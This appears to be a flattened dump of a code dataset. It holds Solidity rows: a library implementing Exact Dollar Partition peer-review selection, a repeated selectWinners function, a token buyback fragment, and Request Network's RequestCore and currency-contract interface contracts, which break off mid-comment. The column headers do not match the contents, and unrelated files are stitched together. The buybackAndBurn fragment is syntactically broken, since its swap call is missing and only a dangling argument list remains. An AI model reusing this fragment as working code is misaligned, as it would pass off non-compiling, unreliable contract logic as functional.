file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
// SPDX-License-Identifier: MIT pragma solidity >=0.4.18; pragma experimental ABIEncoderV2; import "contracts/ExactDollarPartition.sol"; import "contracts/Scores.sol"; /// @title Exact Dollar Partition map implementation /// @author Giovanni Rescinito /// @notice implements the map specific functions related to Exact Dollar Partition library ExactDollarPartitionMap { /// @notice checks if all users revealed their evaluations, otherwise sets them according to Exact Dollar Partition /// @param scoreMap data structure containing the scores /// @param partition zipped matrix of the clusters in which proposals are divided function finalizeScoreMap(Scores.ScoreMap storage scoreMap, uint[][] storage partition) external{ uint[][] memory part = Zipper.unzipMatrix(partition,16); uint l = partition.length; uint n = 0; for (uint i=0;i<l;i++){ n += part[i].length; } for (uint i=0;i<l;i++){ for (uint j=0;j<part[i].length;j++){ uint id = part[i][j]; Scores.Evaluation[] memory e = Scores.reviewsSubmitted(scoreMap, id); if (e.length == 0){ uint value = Utils.C/(n-part[i].length); for (uint k=0;k<l;k++){ if (i!=k){ for (uint x=0;x<part[k].length;x++){ Scores.setReview(scoreMap, id, part[k][x], value); } } } } } } } /// @notice normalize the scores received by a user when revealing and adds them to the corresponding data structure /// @param scoreMap data structure containing the scores /// @param index index of the agent who submitted the reviews /// @param assignments list of the works reviewed /// @param evaluations scores provided function addToScoreMap(Scores.ScoreMap storage scoreMap, uint index, uint[] calldata assignments, uint[] calldata evaluations) external{ uint sum = 0; for (uint j=0;j<assignments.length;j++){ sum += evaluations[j]; } if (sum != 0){ for (uint j=0;j<assignments.length;j++){ Scores.setReview(scoreMap, index, assignments[j], evaluations[j]*Utils.C/sum); } } } /// @notice executes the Exact Dollar Partition algorithm /// @param partition zipped matrix of the clusters in which proposals are divided /// @param scoreMap data structure containing the scores /// @param allocations dictionary containing the possible allocations found /// @param allocationRandomness random value used to draw an allocation from the possible ones /// @param k number of winners to select function exactDollarPartition(uint[][] storage partition, Scores.ScoreMap storage scoreMap, Allocations.Map storage allocations, uint allocationRandomness, uint k) external { uint[][] memory part = Zipper.unzipMatrix(partition,16); uint[] memory quotas = calculateQuotas(part, scoreMap, k); emit ExactDollarPartition.QuotasCalculated(quotas); ExactDollarPartition.randomizedAllocationFromQuotas(allocations, quotas); uint[] memory selectedAllocation = ExactDollarPartition.selectAllocation(allocations, allocationRandomness); emit ExactDollarPartition.AllocationSelected(selectedAllocation); Utils.Element[] memory winners = selectWinners(part, scoreMap, selectedAllocation); emit ExactDollarPartition.Winners(winners); } /// @notice calculates quotas for each cluster starting from scores received by users /// @param partition matrix of the clusters in which proposals are divided /// @param scoreMap data structure containing the scores /// @param k number of winners to select /// @return quotas calculated function calculateQuotas(uint[][] memory partition, Scores.ScoreMap storage scoreMap, uint k) view private returns (uint[] memory){ uint l = partition.length; uint n = 0; for (uint i=0;i<l;i++){ n+=partition[i].length; } uint[] memory quotas = new uint[](l); for (uint i=0; i<l; i++) { quotas[i] = 0; for (uint j=0; j<partition[i].length; j++){ Scores.Evaluation[] memory e = Scores.reviewsReceived(scoreMap, partition[i][j]); for (uint x = 0;x<e.length;x++){ quotas[i] += e[x].score; } } quotas[i] = quotas[i]*k/n; } return quotas; } /// @notice selects the winners from each cluster given the allocation selected /// @param partition matrix of the clusters in which proposals are divided /// @param scoreMap data structure containing the scores /// @param allocation number of winners to select from each cluster /// @return selection winners' id and score function selectWinners(uint[][] memory partition, Scores.ScoreMap storage scoreMap, uint[] memory allocation) view private returns (Utils.Element[] memory){ uint num = 0; for (uint i=0;i<allocation.length;i++){ num+=allocation[i]; } Utils.Element[] memory scoresSorted; Utils.Element[] memory winners = new Utils.Element[](num); uint[] memory scores; uint index; uint x = 0; for (uint i=0; i<partition.length; i++) { scores = new uint[](partition[i].length); for (uint j=0; j<partition[i].length; j++) { Scores.Evaluation[] memory evaluations = Scores.reviewsReceived(scoreMap, partition[i][j]); for (uint k=0; k<evaluations.length; k++) { scores[j] += evaluations[k].score; } } scoresSorted = Utils.sort(scores); index = partition[i].length - 1; for (uint j=0; j<allocation[i]; j++) { Utils.Element memory e = scoresSorted[index--]; winners[x++] = (Utils.Element(uint128(partition[i][e.id]), uint128(e.value))); } } return winners; } }
selects the winners from each cluster given the allocation selected partition matrix of the clusters in which proposals are divided scoreMap data structure containing the scores allocation number of winners to select from each cluster return selection winners' id and score
function selectWinners(uint[][] memory partition, Scores.ScoreMap storage scoreMap, uint[] memory allocation) view private returns (Utils.Element[] memory){ uint num = 0; for (uint i=0;i<allocation.length;i++){ num+=allocation[i]; } Utils.Element[] memory scoresSorted; Utils.Element[] memory winners = new Utils.Element[](num); uint[] memory scores; uint index; uint x = 0; for (uint i=0; i<partition.length; i++) { scores = new uint[](partition[i].length); for (uint j=0; j<partition[i].length; j++) { Scores.Evaluation[] memory evaluations = Scores.reviewsReceived(scoreMap, partition[i][j]); for (uint k=0; k<evaluations.length; k++) { scores[j] += evaluations[k].score; } } scoresSorted = Utils.sort(scores); index = partition[i].length - 1; for (uint j=0; j<allocation[i]; j++) { Utils.Element memory e = scoresSorted[index--]; winners[x++] = (Utils.Element(uint128(partition[i][e.id]), uint128(e.value))); } } return winners; }
12,605,878
./full_match/1/0x24ABCa46E6bF3e18b870F9F5Cc1A361ECE13C68d/sources/buybackBurn.sol
Swap ETH for the specified token
function buybackAndBurn(uint256 ethAmount) private { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); path, address(0xdead), block.timestamp ); }
9,811,197
pragma solidity 0.4.18; // From https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); assert(b >= 0); return b; } } /** * @title SafeMathInt * @dev Math operations with safety checks that throw on error * @dev SafeMath adapted for int256 */ library SafeMathInt { function mul(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when multiplying INT256_MIN with -1 // https://github.com/RequestNetwork/requestNetwork/issues/43 assert(!(a == - 2**255 && b == -1) && !(b == - 2**255 && a == -1)); int256 c = a * b; assert((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing INT256_MIN by -1 // https://github.com/RequestNetwork/requestNetwork/issues/43 assert(!(a == - 2**255 && b == -1)); // assert(b > 0); // Solidity automatically throws when dividing by 0 int256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(int256 a, int256 b) internal pure returns (int256) { assert((b >= 0 && a - b <= a) || (b < 0 && a - b > a)); return a - b; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; assert((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function toUint256Safe(int256 a) internal pure returns (uint256) { assert(a>=0); return uint256(a); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * @dev SafeMath adapted for uint96 */ library SafeMathUint96 { function mul(uint96 a, uint96 b) internal pure returns (uint96) { uint96 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint96 a, uint96 b) internal pure returns (uint96) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint96 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint96 a, uint96 b) internal pure returns (uint96) { assert(b <= a); return a - b; } function add(uint96 a, uint96 b) internal pure returns (uint96) { uint96 c = a + b; assert(c >= a); return c; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * @dev SafeMath adapted for uint8 */ library SafeMathUint8 { function mul(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint8 a, uint8 b) internal pure returns (uint8) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint8 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint8 a, uint8 b) internal pure returns (uint8) { assert(b <= a); return a - b; } function add(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Administrable * @dev Base contract for the administration of Core. Handles whitelisting of currency contracts */ contract Administrable is Pausable { // mapping of address of trusted contract mapping(address => uint8) public trustedCurrencyContracts; // Events of the system event NewTrustedContract(address newContract); event RemoveTrustedContract(address oldContract); /** * @dev add a trusted currencyContract * * @param _newContractAddress The address of the currencyContract */ function adminAddTrustedCurrencyContract(address _newContractAddress) external onlyOwner { trustedCurrencyContracts[_newContractAddress] = 1; //Using int instead of boolean in case we need several states in the future. NewTrustedContract(_newContractAddress); } /** * @dev remove a trusted currencyContract * * @param _oldTrustedContractAddress The address of the currencyContract */ function adminRemoveTrustedCurrencyContract(address _oldTrustedContractAddress) external onlyOwner { require(trustedCurrencyContracts[_oldTrustedContractAddress] != 0); trustedCurrencyContracts[_oldTrustedContractAddress] = 0; RemoveTrustedContract(_oldTrustedContractAddress); } /** * @dev get the status of a trusted currencyContract * @dev Not used today, useful if we have several states in the future. * * @param _contractAddress The address of the currencyContract * @return The status of the currencyContract. If trusted 1, otherwise 0 */ function getStatusContract(address _contractAddress) view external returns(uint8) { return trustedCurrencyContracts[_contractAddress]; } /** * @dev check if a currencyContract is trusted * * @param _contractAddress The address of the currencyContract * @return bool true if contract is trusted */ function isTrustedContract(address _contractAddress) public view returns(bool) { return trustedCurrencyContracts[_contractAddress] == 1; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title RequestCore * * @dev The Core is the main contract which stores all the requests. * * @dev The Core philosophy is to be as much flexible as possible to adapt in the future to any new system * @dev All the important conditions and an important part of the business logic takes place in the currency contracts. * @dev Requests can only be created in the currency contracts * @dev Currency contracts have to be allowed by the Core and respect the business logic. * @dev Request Network will develop one currency contracts per currency and anyone can creates its own currency contracts. */ contract RequestCore is Administrable { using SafeMath for uint256; using SafeMathUint96 for uint96; using SafeMathInt for int256; using SafeMathUint8 for uint8; enum State { Created, Accepted, Canceled } struct Request { // ID address of the payer address payer; // Address of the contract managing the request address currencyContract; // State of the request State state; // Main payee Payee payee; } // Structure for the payees. A sub payee is an additional entity which will be paid during the processing of the invoice. // ex: can be used for routing taxes or fees at the moment of the payment. struct Payee { // ID address of the payee address addr; // amount expected for the payee. // Not uint for evolution (may need negative amounts one day), and simpler operations int256 expectedAmount; // balance of the payee int256 balance; } // Count of request in the mapping. A maximum of 2^96 requests can be created per Core contract. // Integer, incremented for each request of a Core contract, starting from 0 // RequestId (256bits) = contract address (160bits) + numRequest uint96 public numRequests; // Mapping of all the Requests. The key is the request ID. // not anymore public to avoid "UnimplementedFeatureError: Only in-memory reference type can be stored." // https://github.com/ethereum/solidity/issues/3577 mapping(bytes32 => Request) requests; // Mapping of subPayees of the requests. The key is the request ID. // This array is outside the Request structure to optimize the gas cost when there is only 1 payee. mapping(bytes32 => Payee[256]) public subPayees; /* * Events */ event Created(bytes32 indexed requestId, address indexed payee, address indexed payer, address creator, string data); event Accepted(bytes32 indexed requestId); event Canceled(bytes32 indexed requestId); // Event for Payee & subPayees event NewSubPayee(bytes32 indexed requestId, address indexed payee); // Separated from the Created Event to allow a 4th indexed parameter (subpayees) event UpdateExpectedAmount(bytes32 indexed requestId, uint8 payeeIndex, int256 deltaAmount); event UpdateBalance(bytes32 indexed requestId, uint8 payeeIndex, int256 deltaAmount); /* * @dev Function used by currency contracts to create a request in the Core * * @dev _payees and _expectedAmounts must have the same size * * @param _creator Request creator. The creator is the one who initiated the request (create or sign) and not necessarily the one who broadcasted it * @param _payees array of payees address (the index 0 will be the payee the others are subPayees). Size must be smaller than 256. * @param _expectedAmounts array of Expected amount to be received by each payees. Must be in same order than the payees. Size must be smaller than 256. * @param _payer Entity expected to pay * @param _data data of the request * @return Returns the id of the request */ function createRequest( address _creator, address[] _payees, int256[] _expectedAmounts, address _payer, string _data) external whenNotPaused returns (bytes32 requestId) { // creator must not be null require(_creator!=0); // not as modifier to lighten the stack // call must come from a trusted contract require(isTrustedContract(msg.sender)); // not as modifier to lighten the stack // Generate the requestId requestId = generateRequestId(); address mainPayee; int256 mainExpectedAmount; // extract the main payee if filled if(_payees.length!=0) { mainPayee = _payees[0]; mainExpectedAmount = _expectedAmounts[0]; } // Store the new request requests[requestId] = Request(_payer, msg.sender, State.Created, Payee(mainPayee, mainExpectedAmount, 0)); // Declare the new request Created(requestId, mainPayee, _payer, _creator, _data); // Store and declare the sub payees (needed in internal function to avoid "stack too deep") initSubPayees(requestId, _payees, _expectedAmounts); return requestId; } /* * @dev Function used by currency contracts to create a request in the Core from bytes * @dev Used to avoid receiving a stack too deep error when called from a currency contract with too many parameters. * @audit Note that to optimize the stack size and the gas cost we do not extract the params and store them in the stack. As a result there is some code redundancy * @param _data bytes containing all the data packed : address(creator) address(payer) uint8(number_of_payees) [ address(main_payee_address) int256(main_payee_expected_amount) address(second_payee_address) int256(second_payee_expected_amount) ... ] uint8(data_string_size) size(data) * @return Returns the id of the request */ function createRequestFromBytes(bytes _data) external whenNotPaused returns (bytes32 requestId) { // call must come from a trusted contract require(isTrustedContract(msg.sender)); // not as modifier to lighten the stack // extract address creator & payer address creator = extractAddress(_data, 0); address payer = extractAddress(_data, 20); // creator must not be null require(creator!=0); // extract the number of payees uint8 payeesCount = uint8(_data[40]); // get the position of the dataSize in the byte (= number_of_payees * (address_payee_size + int256_payee_size) + address_creator_size + address_payer_size + payees_count_size // (= number_of_payees * (20+32) + 20 + 20 + 1 ) uint256 offsetDataSize = uint256(payeesCount).mul(52).add(41); // extract the data size and then the data itself uint8 dataSize = uint8(_data[offsetDataSize]); string memory dataStr = extractString(_data, dataSize, offsetDataSize.add(1)); address mainPayee; int256 mainExpectedAmount; // extract the main payee if possible if(payeesCount!=0) { mainPayee = extractAddress(_data, 41); mainExpectedAmount = int256(extractBytes32(_data, 61)); } // Generate the requestId requestId = generateRequestId(); // Store the new request requests[requestId] = Request(payer, msg.sender, State.Created, Payee(mainPayee, mainExpectedAmount, 0)); // Declare the new request Created(requestId, mainPayee, payer, creator, dataStr); // Store and declare the sub payees for(uint8 i = 1; i < payeesCount; i = i.add(1)) { address subPayeeAddress = extractAddress(_data, uint256(i).mul(52).add(41)); // payees address cannot be 0x0 require(subPayeeAddress != 0); subPayees[requestId][i-1] = Payee(subPayeeAddress, int256(extractBytes32(_data, uint256(i).mul(52).add(61))), 0); NewSubPayee(requestId, subPayeeAddress); } return requestId; } /* * @dev Function used by currency contracts to accept a request in the Core. * @dev callable only by the currency contract of the request * @param _requestId Request id */ function accept(bytes32 _requestId) external { Request storage r = requests[_requestId]; require(r.currencyContract==msg.sender); r.state = State.Accepted; Accepted(_requestId); } /* * @dev Function used by currency contracts to cancel a request in the Core. Several reasons can lead to cancel a request, see request life cycle for more info. * @dev callable only by the currency contract of the request * @param _requestId Request id */ function cancel(bytes32 _requestId) external { Request storage r = requests[_requestId]; require(r.currencyContract==msg.sender); r.state = State.Canceled; Canceled(_requestId); } /* * @dev Function used to update the balance * @dev callable only by the currency contract of the request * @param _requestId Request id * @param _payeeIndex index of the payee (0 = main payee) * @param _deltaAmount modifier amount */ function updateBalance(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount) external { Request storage r = requests[_requestId]; require(r.currencyContract==msg.sender); if( _payeeIndex == 0 ) { // modify the main payee r.payee.balance = r.payee.balance.add(_deltaAmount); } else { // modify the sub payee Payee storage sp = subPayees[_requestId][_payeeIndex-1]; sp.balance = sp.balance.add(_deltaAmount); } UpdateBalance(_requestId, _payeeIndex, _deltaAmount); } /* * @dev Function update the expectedAmount adding additional or subtract * @dev callable only by the currency contract of the request * @param _requestId Request id * @param _payeeIndex index of the payee (0 = main payee) * @param _deltaAmount modifier amount */ function updateExpectedAmount(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount) external { Request storage r = requests[_requestId]; require(r.currencyContract==msg.sender); if( _payeeIndex == 0 ) { // modify the main payee r.payee.expectedAmount = r.payee.expectedAmount.add(_deltaAmount); } else { // modify the sub payee Payee storage sp = subPayees[_requestId][_payeeIndex-1]; sp.expectedAmount = sp.expectedAmount.add(_deltaAmount); } UpdateExpectedAmount(_requestId, _payeeIndex, _deltaAmount); } /* * @dev Internal: Init payees for a request (needed to avoid &#39;stack too deep&#39; in createRequest()) * @param _requestId Request id * @param _payees array of payees address * @param _expectedAmounts array of payees initial expected amounts */ function initSubPayees(bytes32 _requestId, address[] _payees, int256[] _expectedAmounts) internal { require(_payees.length == _expectedAmounts.length); for (uint8 i = 1; i < _payees.length; i = i.add(1)) { // payees address cannot be 0x0 require(_payees[i] != 0); subPayees[_requestId][i-1] = Payee(_payees[i], _expectedAmounts[i], 0); NewSubPayee(_requestId, _payees[i]); } } /* GETTER */ /* * @dev Get address of a payee * @param _requestId Request id * @param _payeeIndex payee index (0 = main payee) * @return payee address */ function getPayeeAddress(bytes32 _requestId, uint8 _payeeIndex) public constant returns(address) { if(_payeeIndex == 0) { return requests[_requestId].payee.addr; } else { return subPayees[_requestId][_payeeIndex-1].addr; } } /* * @dev Get payer of a request * @param _requestId Request id * @return payer address */ function getPayer(bytes32 _requestId) public constant returns(address) { return requests[_requestId].payer; } /* * @dev Get amount expected of a payee * @param _requestId Request id * @param _payeeIndex payee index (0 = main payee) * @return amount expected */ function getPayeeExpectedAmount(bytes32 _requestId, uint8 _payeeIndex) public constant returns(int256) { if(_payeeIndex == 0) { return requests[_requestId].payee.expectedAmount; } else { return subPayees[_requestId][_payeeIndex-1].expectedAmount; } } /* * @dev Get number of subPayees for a request * @param _requestId Request id * @return number of subPayees */ function getSubPayeesCount(bytes32 _requestId) public constant returns(uint8) { for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) { // nothing to do } return i; } /* * @dev Get currencyContract of a request * @param _requestId Request id * @return currencyContract address */ function getCurrencyContract(bytes32 _requestId) public constant returns(address) { return requests[_requestId].currencyContract; } /* * @dev Get balance of a payee * @param _requestId Request id * @param _payeeIndex payee index (0 = main payee) * @return balance */ function getPayeeBalance(bytes32 _requestId, uint8 _payeeIndex) public constant returns(int256) { if(_payeeIndex == 0) { return requests[_requestId].payee.balance; } else { return subPayees[_requestId][_payeeIndex-1].balance; } } /* * @dev Get balance total of a request * @param _requestId Request id * @return balance */ function getBalance(bytes32 _requestId) public constant returns(int256) { int256 balance = requests[_requestId].payee.balance; for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) { balance = balance.add(subPayees[_requestId][i].balance); } return balance; } /* * @dev check if all the payees balances are null * @param _requestId Request id * @return true if all the payees balances are equals to 0 */ function areAllBalanceNull(bytes32 _requestId) public constant returns(bool isNull) { isNull = requests[_requestId].payee.balance == 0; for (uint8 i = 0; isNull && subPayees[_requestId][i].addr != address(0); i = i.add(1)) { isNull = subPayees[_requestId][i].balance == 0; } return isNull; } /* * @dev Get total expectedAmount of a request * @param _requestId Request id * @return balance */ function getExpectedAmount(bytes32 _requestId) public constant returns(int256) { int256 expectedAmount = requests[_requestId].payee.expectedAmount; for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) { expectedAmount = expectedAmount.add(subPayees[_requestId][i].expectedAmount); } return expectedAmount; } /* * @dev Get state of a request * @param _requestId Request id * @return state */ function getState(bytes32 _requestId) public constant returns(State) { return requests[_requestId].state; } /* * @dev Get address of a payee * @param _requestId Request id * @return payee index (0 = main payee) or -1 if not address not found */ function getPayeeIndex(bytes32 _requestId, address _address) public constant returns(int16) { // return 0 if main payee if(requests[_requestId].payee.addr == _address) return 0; for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) { if(subPayees[_requestId][i].addr == _address) { // if found return subPayee index + 1 (0 is main payee) return i+1; } } return -1; } /* * @dev getter of a request * @param _requestId Request id * @return request as a tuple : (address payer, address currencyContract, State state, address payeeAddr, int256 payeeExpectedAmount, int256 payeeBalance) */ function getRequest(bytes32 _requestId) external constant returns(address payer, address currencyContract, State state, address payeeAddr, int256 payeeExpectedAmount, int256 payeeBalance) { Request storage r = requests[_requestId]; return ( r.payer, r.currencyContract, r.state, r.payee.addr, r.payee.expectedAmount, r.payee.balance ); } /* * @dev extract a string from a bytes. Extracts a sub-part from tha bytes and convert it to string * @param data bytes from where the string will be extracted * @param size string size to extract * @param _offset position of the first byte of the string in bytes * @return string */ function extractString(bytes data, uint8 size, uint _offset) internal pure returns (string) { bytes memory bytesString = new bytes(size); for (uint j = 0; j < size; j++) { bytesString[j] = data[_offset+j]; } return string(bytesString); } /* * @dev generate a new unique requestId * @return a bytes32 requestId */ function generateRequestId() internal returns (bytes32) { // Update numRequest numRequests = numRequests.add(1); // requestId = ADDRESS_CONTRACT_CORE + numRequests (0xADRRESSCONTRACT00000NUMREQUEST) return bytes32((uint256(this) << 96).add(numRequests)); } /* * @dev extract an address from a bytes at a given position * @param _data bytes from where the address will be extract * @param _offset position of the first byte of the address * @return address */ function extractAddress(bytes _data, uint offset) internal pure returns (address m) { require(offset >=0 && offset + 20 <= _data.length); assembly { m := and( mload(add(_data, add(20, offset))), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) } } /* * @dev extract a bytes32 from a bytes * @param data bytes from where the bytes32 will be extract * @param offset position of the first byte of the bytes32 * @return address */ function extractBytes32(bytes _data, uint offset) public pure returns (bytes32 bs) { require(offset >=0 && offset + 32 <= _data.length); assembly { bs := mload(add(_data, add(32, offset))) } } /** * @dev transfer to owner any tokens send by mistake on this contracts * @param token The address of the token to transfer. * @param amount The amount to be transfered. */ function emergencyERC20Drain(ERC20 token, uint amount ) public onlyOwner { token.transfer(owner, amount); } } /** * @title RequestCollectInterface * * @dev RequestCollectInterface is a contract managing the fees for currency contracts */ contract RequestCollectInterface is Pausable { using SafeMath for uint256; uint256 public rateFeesNumerator; uint256 public rateFeesDenominator; uint256 public maxFees; // address of the contract that will burn req token (through Kyber) address public requestBurnerContract; /* * Events */ event UpdateRateFees(uint256 rateFeesNumerator, uint256 rateFeesDenominator); event UpdateMaxFees(uint256 maxFees); /* * @dev Constructor * @param _requestBurnerContract Address of the contract where to send the ethers. * This burner contract will have a function that can be called by anyone and will exchange ethers to req via Kyber and burn the REQ */ function RequestCollectInterface(address _requestBurnerContract) public { requestBurnerContract = _requestBurnerContract; } /* * @dev send fees to the request burning address * @param _amount amount to send to the burning address */ function collectForREQBurning(uint256 _amount) internal returns(bool) { return requestBurnerContract.send(_amount); } /* * @dev compute the fees * @param _expectedAmount amount expected for the request * @return the expected amount of fees in wei */ function collectEstimation(int256 _expectedAmount) public view returns(uint256) { if(_expectedAmount<0) return 0; uint256 computedCollect = uint256(_expectedAmount).mul(rateFeesNumerator); if(rateFeesDenominator != 0) { computedCollect = computedCollect.div(rateFeesDenominator); } return computedCollect < maxFees ? computedCollect : maxFees; } /* * @dev set the fees rate * NB: if the _rateFeesDenominator is 0, it will be treated as 1. (in other words, the computation of the fees will not use it) * @param _rateFeesNumerator numerator rate * @param _rateFeesDenominator denominator rate */ function setRateFees(uint256 _rateFeesNumerator, uint256 _rateFeesDenominator) external onlyOwner { rateFeesNumerator = _rateFeesNumerator; rateFeesDenominator = _rateFeesDenominator; UpdateRateFees(rateFeesNumerator, rateFeesDenominator); } /* * @dev set the maximum fees in wei * @param _newMax new max */ function setMaxCollectable(uint256 _newMaxFees) external onlyOwner { maxFees = _newMaxFees; UpdateMaxFees(maxFees); } /* * @dev set the request burner address * @param _requestBurnerContract address of the contract that will burn req token (probably through Kyber) */ function setRequestBurnerContract(address _requestBurnerContract) external onlyOwner { requestBurnerContract=_requestBurnerContract; } } /** * @title RequestCurrencyContractInterface * * @dev RequestCurrencyContractInterface is the currency contract managing the request in Ethereum * @dev The contract can be paused. In this case, nobody can create Requests anymore but people can still interact with them or withdraw funds. * * @dev Requests can be created by the Payee with createRequestAsPayee(), by the payer with createRequestAsPayer() or by the payer from a request signed offchain by the payee with broadcastSignedRequestAsPayer */ contract RequestCurrencyContractInterface is RequestCollectInterface { using SafeMath for uint256; using SafeMathInt for int256; using SafeMathUint8 for uint8; // RequestCore object RequestCore public requestCore; /* * @dev Constructor * @param _requestCoreAddress Request Core address */ function RequestCurrencyContractInterface(address _requestCoreAddress, address _addressBurner) RequestCollectInterface(_addressBurner) public { requestCore=RequestCore(_requestCoreAddress); } function createCoreRequestInternal( address _payer, address[] _payeesIdAddress, int256[] _expectedAmounts, string _data) internal whenNotPaused returns(bytes32 requestId, int256 totalExpectedAmounts) { totalExpectedAmounts = 0; for (uint8 i = 0; i < _expectedAmounts.length; i = i.add(1)) { // all expected amount must be positive require(_expectedAmounts[i]>=0); // compute the total expected amount of the request totalExpectedAmounts = totalExpectedAmounts.add(_expectedAmounts[i]); } // store request in the core requestId= requestCore.createRequest(msg.sender, _payeesIdAddress, _expectedAmounts, _payer, _data); } function acceptAction(bytes32 _requestId) public whenNotPaused onlyRequestPayer(_requestId) { // only a created request can be accepted require(requestCore.getState(_requestId)==RequestCore.State.Created); // declare the acceptation in the core requestCore.accept(_requestId); } function cancelAction(bytes32 _requestId) public whenNotPaused { // payer can cancel if request is just created // payee can cancel when request is not canceled yet require((requestCore.getPayer(_requestId)==msg.sender && requestCore.getState(_requestId)==RequestCore.State.Created) || (requestCore.getPayeeAddress(_requestId,0)==msg.sender && requestCore.getState(_requestId)!=RequestCore.State.Canceled)); // impossible to cancel a Request with any payees balance != 0 require(requestCore.areAllBalanceNull(_requestId)); // declare the cancellation in the core requestCore.cancel(_requestId); } function additionalAction(bytes32 _requestId, uint256[] _additionalAmounts) public whenNotPaused onlyRequestPayer(_requestId) { // impossible to make additional if request is canceled require(requestCore.getState(_requestId)!=RequestCore.State.Canceled); // impossible to declare more additionals than the number of payees require(_additionalAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1)); for(uint8 i = 0; i < _additionalAmounts.length; i = i.add(1)) { // no need to declare a zero as additional if(_additionalAmounts[i] != 0) { // Store and declare the additional in the core requestCore.updateExpectedAmount(_requestId, i, _additionalAmounts[i].toInt256Safe()); } } } function subtractAction(bytes32 _requestId, uint256[] _subtractAmounts) public whenNotPaused onlyRequestPayee(_requestId) { // impossible to make subtracts if request is canceled require(requestCore.getState(_requestId)!=RequestCore.State.Canceled); // impossible to declare more subtracts than the number of payees require(_subtractAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1)); for(uint8 i = 0; i < _subtractAmounts.length; i = i.add(1)) { // no need to declare a zero as subtracts if(_subtractAmounts[i] != 0) { // subtract must be equal or lower than amount expected require(requestCore.getPayeeExpectedAmount(_requestId,i) >= _subtractAmounts[i].toInt256Safe()); // Store and declare the subtract in the core requestCore.updateExpectedAmount(_requestId, i, -_subtractAmounts[i].toInt256Safe()); } } } // ---------------------------------------------------------------------------------------- /* * @dev Modifier to check if msg.sender is the main payee * @dev Revert if msg.sender is not the main payee * @param _requestId id of the request */ modifier onlyRequestPayee(bytes32 _requestId) { require(requestCore.getPayeeAddress(_requestId, 0)==msg.sender); _; } /* * @dev Modifier to check if msg.sender is payer * @dev Revert if msg.sender is not payer * @param _requestId id of the request */ modifier onlyRequestPayer(bytes32 _requestId) { require(requestCore.getPayer(_requestId)==msg.sender); _; } } /** * @title RequestBitcoinNodesValidation * * @dev RequestBitcoinNodesValidation is the currency contract managing the request in Bitcoin * @dev The contract can be paused. In this case, nobody can create Requests anymore but people can still interact with them or withdraw funds. * * @dev Requests can be created by the Payee with createRequestAsPayee(), by the payer with createRequestAsPayer() or by the payer from a request signed offchain by the payee with 